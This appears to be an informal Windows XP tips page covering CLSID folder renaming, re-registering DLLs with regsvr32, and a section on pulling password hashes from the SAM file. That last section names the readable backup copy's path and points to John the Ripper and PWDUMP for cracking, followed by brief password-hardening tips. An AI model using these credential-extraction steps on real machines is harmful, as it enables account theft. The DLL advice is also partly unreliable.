Class Identifier of folders in XP

The batch file basically renames the folder with name abc to abc.{21EC2020-3AEA-1069-A2DD-08002B30309D}. So instead of writing a batch file you can directly rename a folder by appending given number.

The numbers specified after the folder name is actually CLSID (Class Identifier) of folder and the number in particular used here is GUID for Control Panel. That’s why when you try to open the folder after renaming, it opens the Control Panel. Also the icon is also of Control panel. Some other similar CLSIDs that can be used are:

.{450D8FBA-AD25-11D0-98A8-0800361B1103} - My Documents
.{20D04FE0-3AEA-1069-A2D8-08002B30309D} - My Computer
.{2227A280-3AEA-1069-A2DE-08002B30309D} - Printers
.{645FF040-5081-101B-9F08-00AA002F954E} - Recycle Bin
.{FBF23B42-E3F0-101B-8488-00AA003E56F8} - Internet Explorer
.{FF393560-C2A7-11CF-BFF4-444553540000} - History

And there are many more. You can find more CLSIDs under [HKEY_CLASSES_ROOT\CLSID\], including the above specified CLSIDs.

Though the folders are not included in the search, but you can still get the details of files and folders inside it. Suppose you folder was abc and you renamed it to abc.{21EC2020-3AEA-1069-A2DD-08002B30309D}. And consider the folder is present in C drive. Go to comand prompt, at c drive and try dir command

c:\>dir

It will display all the folders in current directory including you folder with name abc.{21EC2020-3AEA-1069-A2DD-08002B30309D} not just abc. Now try

c:\>cd abc.{21EC2020-3AEA-1069-A2DD-08002B30309D}
c>\abc.{21EC2020-3AEA-1069-A2DD-08002B30309D}>dir

It will list all the files and directory present under that folder.

Activate The Missing dll Files in XP

DLL's (dynamic link library),
It is basically a combination of executables files that can be used by Windows programs to run properly. Some time you received a sudden pop-up message
"System could not find this DLL file" for example binkw32, maxkernl.

Normally you received these types of messages when you installed any new application, computer driver program and some time due to computer mishandling. Actually some DLL files are deactivated due to new software's installation but don't worry you can reactivate these file with the help of a simple command called Regsvr32.To activate the missing dll file
go the Start
then Run and
type here "regsrv32 with missing dll file name"
for example you missed "urlmon.dll" file then you will type in Run
"regsvr32 urlmon.dll"
and press Ok button.
Your system will activate this missing file and hopefully you will not get this missing message again.

What is SAM?

SAM file stores all the user info and passwords of all the accounts of a computer using Windows NT family OS(Windows XP, Windows server 2003,etc.).So if you can somehow get this file you can get the passwords.

How can one find passwords from the SAM file?

There are three places where this file can be cracked from:-

i) From the original file
%systemroot%/system32/config
This file is locked to all users during the windows is running,so that you can't open it while you are working in windows. (Find out how you can use this file....Google dear frnds).

ii) The system keeps a backup of this file in the
%systemroot%/repair/sam._
This file is available to all users at any time. So copy this file to any directory and crack the passwords using any good password cracker. I would tell you about one, not only coz its very popular but also that its free.(Find others urselves the net has a gr8 many of them)

John the Ripper:- Its a dictionary cracker and will crack almost 80% of times you use it(unless the system admin has a knack in complicating things.)

iii) You can use PWDUMP to directly crack the passwords from the registry.pwdump uses .DLL injection in order to use the system account to view the password hashes stored in the registry.(Try to find out more about pwdump)

How to prevent people from cracking ur SAM file?

i) Try to avoid password which are dictionary words.

ii) Try to use special characters in ur password.

iii)Try to add non-printable ascii characters to your passwords
